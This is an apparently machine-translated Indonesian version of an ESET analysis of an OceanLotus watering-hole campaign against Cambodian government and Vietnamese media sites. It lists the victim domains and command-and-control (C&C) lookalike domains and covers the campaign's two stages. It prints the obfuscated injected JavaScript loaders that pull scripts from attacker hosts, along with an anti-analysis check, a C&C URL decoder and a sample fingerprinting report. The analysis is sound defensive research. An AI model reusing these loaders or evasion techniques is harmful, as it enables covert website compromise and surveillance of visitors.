OceanLotus: serangan lubang air di Asia Tenggara

Spesialis ESET menganalisis kampanye lubang air baru, yang menargetkan beberapa situs di Asia Tenggara. Diduga, para penyerang telah beroperasi sejak awal September 2018. Kampanye ini berbeda dalam skalanya - kami berhasil menemukan 21 sumber daya yang disusupi, termasuk situs web Kementerian Pertahanan Kamboja, Kementerian Luar Negeri dan Kerjasama Internasional Kamboja, serta beberapa surat kabar dan blog Vietnam.


Berdasarkan analisis, kami menemukan bahwa kampanye sedang dilakukan oleh kelompok OceanLotus , juga dikenal sebagai ART32 dan ART-S-00. Grup ini telah beroperasi setidaknya sejak 2012 dan berspesialisasi dalam spionase cyber, dengan minat khusus pada lembaga pemerintah dan pembangkang.

Kampanye ini tampaknya merupakan evolusi dari skema lubang berair OceanLotus, yang didokumentasikan oleh para peneliti Volexity pada 2017 dengan nama Framework B. Sejak tahun lalu, cybergroup telah belajar untuk membuatnya sulit untuk menganalisis kerangka kerja jahatnya. Di antara perbaikan lainnya, kami mencatat penggunaan enkripsi kunci publik untuk bertukar kunci sesi AES. Metode ini digunakan untuk mengenkripsi pertukaran data yang tidak memungkinkan produk keamanan untuk mencegat muatan akhir. Selain itu, penyerang beralih dari HTTP ke WebSocket untuk menyembunyikan pertukaran data berbahaya.

Setiap situs yang dikompromikan yang ditemukan oleh para ahli ESET mengarahkan pengunjung ke domain terpisah yang dikendalikan oleh OceanLotus.

Gambar di bawah ini menunjukkan wilayah target kampanye.


Gambar 1. Geografi situs yang disusupi

Domain yang paling banyak dikompromikan adalah media berita atau terkait dengan pemerintah Kamboja. Berikut ini adalah daftar korban. Kami memperingatkan mereka tentang kompromi pada Oktober, tetapi pada akhir 2018, skrip berbahaya tetap ada di beberapa situs:

- baotgm [.] Net - Media Vietnam (kantor pusat di Arlington, Texas)
- cnrp7 [.] Org - Situs web National Salvation Party Kamboja
- conggiaovietnam [.] Net - konten keagamaan dalam bahasa Vietnam
- daichungvienvinhthanh [.] Com - konten agama dalam bahasa Vietnam
- danchimviet [.] Info - Media Vietnam
- danviet [.] Vn - media Vietnam
- danviethouston [.] Com - Media Vietnam
- fvpoc [.] Org - Organisasi publik Vietnam
- gardencityclub [.] Situs klub golf di Phnom Penh, Kamboja
- lienketqnhn [.] Org - media Vietnam
- mfaic.gov [.] Kh - Kementerian Luar Negeri dan Kerjasama Internasional Kamboja
- mod.gov [.] Kh - Kementerian Pertahanan Kamboja
- mtgvinh [.] Net - konten keagamaan dalam bahasa Vietnam
- nguoitieudung.com [.] Vn - media Vietnam
- phnompenhpost [.] Com - Media Kamboja dalam bahasa Inggris
- raovatcalitoday [.] Com - situs dalam bahasa Vietnam
- thongtinchongphandong [.] Media oposisi di Vietnam
- tinkhongle [.] Com - Media Vietnam
- toithichdoc.blogspot [.] Com - blog Vietnam
- trieudaiviet [.] Situs web dalam bahasa Vietnam
- triviet [.] Berita - media Vietnam

Dalam serangan lubang air, penyerang biasanya mengkompromikan situs yang sering dikunjungi oleh calon korban. Namun, dalam kampanye ini, grup OceanLotus membahayakan beberapa situs populer. Di bawah ini adalah daftar situs yang disusupi dan peringkat Alexa-nya : global dan di negara tempat situs tersebut paling populer. Sebagai contoh, situs web surat kabar Dan Viet (danviet [.] Vn) pada akhir 2018 berada di garis ke-116 dalam hal kehadiran di Vietnam.

- danviet [.] Vn - 12 887/116
- phnompenhpost [.] Com - 85 910/18 880
- nguoitieudung.com [.] Vn - 261 801/2 397
- danchimviet [.] Info - 287 852/144 884
- baotgm [.] Net - 675 669/119 737
- toithichdoc.blogspot [.] Com - 700 470/11532
- mfaic.gov [.] Kh - 978 165/2 149
- conggiaovietnam [.] Net - 1.040 548/15 368
- thongtinchongphandong [.] Com - 1 134 691/21 575
- tinkhongle [.] Com - 1 301 722/15 224
- daichungvienvinhthanh [.] Com - 1.778.418 / 23.428
- mod.gov [.] Kh - 4.247.649 / 3.719

Analisis


Untuk semua situs yang disusupi, metode serupa digunakan. Penyerang menambahkan sepotong kecil kode JavaScript ke halaman utama, atau ke file JavaScript yang diposting di server yang sama. Fragmen kode yang agak dikaburkan (lihat di bawah) memuat skrip lain dari server yang dikendalikan oleh penyerang. Di bawah ini adalah cuplikan JavaScript yang ditambahkan ke https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js , yang mengunduh file dari https://weblink.selfip[.]info/images/cdn.js?from=maxcdn .

 (function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self'); 

Untuk menghindari deteksi, penyerang mengambil langkah-langkah berikut:

- Mereka mengaburkan skrip untuk mencegah alokasi URL final statis
- URL tersebut terlihat seperti perpustakaan JavaScript asli yang digunakan oleh situs
- Untuk setiap situs yang disusupi, domain yang terpisah dan URI digunakan.
- Semua situs yang disusupi memiliki skrip yang berbeda. Berikut ini adalah skrip yang diterapkan di salah satu situs yang disusupi:

 var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc); 

Tahap pertama


Bergantung pada lokasi alamat IP pengunjung, server tahap pertama (misalnya, weblink.selfip[.]info untuk mfaic.gov[.]kh ) mentransmisikan skrip palsu (perpustakaan JavaScript yang sah secara acak), atau skrip tahap pertama (misalnya, SHA- 1: 2194271C7991D60AE82436129D7F25C0A689050A). Tidak semua server melakukan pemeriksaan lokasi, tetapi jika ada, hanya pengunjung dari Vietnam dan Kamboja yang menerima skrip berbahaya.

Skrip tahap pertama memiliki beberapa pemeriksaan untuk mencegah deteksi, seperti yang ditunjukkan di bawah ini.

 […] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { ri || r.scr && !rts && (r.scr = !1, rc(n)), ri = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (tts = !1, tto = null) : (tts = !0, tto = e); }, 500); } […] 

Script menunggu hingga korban menggulir ke halaman. Itu juga memeriksa resolusi jendela dan apakah Firebug, sebuah plugin berbasis browser untuk menganalisis halaman web, diaktifkan. Jika setidaknya salah satu pemeriksaan gagal, eksekusi diakhiri.

Dia kemudian mendekripsi domain dari server perintah C&C menggunakan algoritma kustom. Misalnya, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 adalah singkatan dari wss://tcog.thruhere[.]net . Untuk setiap domain dari tahap pertama, para penyerang juga mendaftarkan domain dari tahap kedua, dan semuanya terletak di server yang berbeda. Kode di bawah ini setara dengan fungsi dekripsi yang ditulis dengan Python.

 def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2)) 

Setelah menguraikan alamat C&C, skrip mengirim string unik 15 digit, dan kemudian menerima dan menjalankan skrip tahap kedua. Pertukaran data dilakukan melalui WebSocket atau SSL. Protokol menyediakan komunikasi dua arah secara simultan antara klien dan server. Ini berarti bahwa setelah klien membuat koneksi, server dapat mengirim data ke klien bahkan tanpa permintaan. Namun, dalam kasus tertentu, protokol ini digunakan terutama untuk menghindari deteksi.

Tahap kedua


Skrip tahap kedua adalah untuk pengintaian. Pengembang OceanLotus telah menggunakan perpustakaan fingerprintjs2 Valve, tersedia di GitHub , dengan perubahan kecil - menambahkan berbagi jaringan dan membuat laporan khusus.

Gambar di bawah ini menunjukkan berbagai tindakan yang dilakukan oleh skrip. Komunikasi dilakukan melalui sesi WebSocket yang dimulai dengan langkah pertama.


Gambar 2. Skema tahap kedua payload

Komunikasi dienkripsi menggunakan kunci sesi AES yang dihasilkan oleh server. Itu dienkripsi dengan kunci publik RSA 1024-bit dan dikirim ke klien, sehingga tidak mungkin untuk mendekripsi pertukaran data antara klien dan server.

Dibandingkan dengan versi sebelumnya dari kerangka lubang air kelompok OceanLotus, lebih sulit untuk melindungi diri Anda dari ini karena transmisi data melalui jaringan tidak dapat dideteksi dan didekripsi. Ini mencegah penemuan jaringan data. Kunci publik yang dikirimkan oleh server tidak berubah dan terdaftar di bagian IoC.

Skrip pengintaian membuat laporan yang mirip dengan yang di bawah ini dan mengirimkannya ke server C&C tahap kedua.

 { "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.xx", "xxxx" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...] 

Laporan ini hampir identik dengan yang lain yang dihasilkan oleh OceanLotus Framework B , yang didokumentasikan oleh Volexity pada 2017. Bagian mereka serupa dan berisi kesalahan ketik yang sama. Karena kesamaan dan lokasi tujuan ini, kita dapat mengatakan dengan tingkat kepastian yang tinggi bahwa OceanLotus yang melakukan kampanye.

Laporan yang dihasilkan berisi informasi terperinci tentang browser korban dan situs yang dikunjungi: agen pengguna, tajuk permintaan Referer HTTP, alamat IP lokal dan eksternal, pengaturan plug-in dan pengaturan bahasa browser.

Selain itu, setiap mesin memiliki dua pengidentifikasi unik: client_zuuid dan client_uuid . Mereka dapat digunakan untuk mengidentifikasi pengguna dan melacak kunjungan mereka. Pengidentifikasi ini sebenarnya hadir dalam versi kerangka 2017, dan client_uuid dihitung dengan cara yang sama.

Nilai client_zuuid adalah gabungan dari berbagai nilai deviceId yang terkandung dalam navigator.mediaDevices.enumerateDevices. Perangkat adalah perangkat eksternal yang dapat diakses browser, seperti kamera dan mikrofon. Dengan demikian, nilai untuk satu pengguna harus cocok selama kunjungan berbeda dari komputer yang sama.

Nilai client_uuid adalah hash MD5 dari sidik jari yang dialokasikan oleh sidik jarijs2. Data yang dikumpulkan termasuk agen pengguna browser, bahasa, zona waktu, plug-in browser, dan font yang dapat diakses browser. Dan lagi - nilainya harus sama untuk semua kunjungan, hanya jika, misalnya, pengguna tidak memperbarui browser atau tidak masuk dari perangkat lain.

Akhirnya, server dapat mengirim kode JavaScript tambahan ke komputer korban, mungkin ini adalah komponen yang dikirim. Sayangnya, karena penggunaan kunci sesi AES untuk mendekripsi pertukaran data, kami tidak dapat menentukan komponen mana yang dikirimkan oleh penyusup dalam sampel liar. Selain itu, muatan hanya dikirimkan kepada korban tertentu. Jadi, menggunakan mesin uji, kami tidak bisa mendapatkannya. Namun, menurut laporan sebelumnya, kampanye lubang berair OceanLotus ditargetkan untuk phishing. Misalnya, Volexity dalam laporan menulis bahwa pengguna melihat jendela sembul yang meminta mereka untuk mengotorisasi akses melalui protokol OAuth terbuka ke akun Google korban untuk OceanLotus Google App. Dengan menggunakan teknik ini, penyerang bisa sampai ke kontak dan email korban.

Infrastruktur jaringan


Untuk pekerjaan rahasia maksimum, operator OceanLotus mendaftarkan satu domain untuk tahap pertama dan kedua untuk masing-masing situs yang disusupi. Setiap domain di-host di server terpisah dengan alamat IP-nya sendiri. Setidaknya 50 domain dan 50 server terdaftar untuk kampanye ini.

Sebagian besar domain tahap pertama terdaftar pada layanan dengan nama domain gratis, domain tahap kedua sebagian besar berbayar. Antara lain, nama mereka disamarkan sebagai sah. Di bawah ini adalah daftar layanan yang coba disalin oleh penyerang - C&C dan domain yang sah, masing-masing:

- cdn-ampproject [.] Com / cdn.ampproject.com
- bootstraplink [.] Com / getbootstrap.com
- sskimresources [.] Com / s.skimresources.com
- widgets-wp [.] Com / widgets.wp.com

Jumlah domain yang digunakan dan kesamaannya dengan situs yang sah dapat mempersulit deteksi oleh orang yang melihat lalu lintas jaringan.

Kesimpulan


Meskipun mendapat perhatian dari peneliti keamanan, OceanLotus terus berhasil menyerang target di Asia Tenggara. Selain itu, kelompok ini meningkatkan alat dengan memasukkan dalam arsenalnya kerangka kerja untuk penyiraman lubang serangan, malware untuk Windows dan macOS. Pembaruan kerangka terbaru yang dibahas dalam laporan ini menunjukkan bahwa penyerang telah meningkatkan keterampilan mereka.

Untuk membatasi jumlah kemungkinan korban, kami memberi tahu pemilik situs yang disusupi dan menjelaskan cara menghapus kode JavaScript berbahaya. Namun, beberapa dari mereka tidak menunjukkan kesediaan untuk menerima informasi dan bantuan.

Peneliti ESET akan terus memantau perkembangan kelompok OceanLotus. Indikator kompromi dapat ditemukan di GitHub .

Source: https://habr.com/ru/post/id436136/


All Articles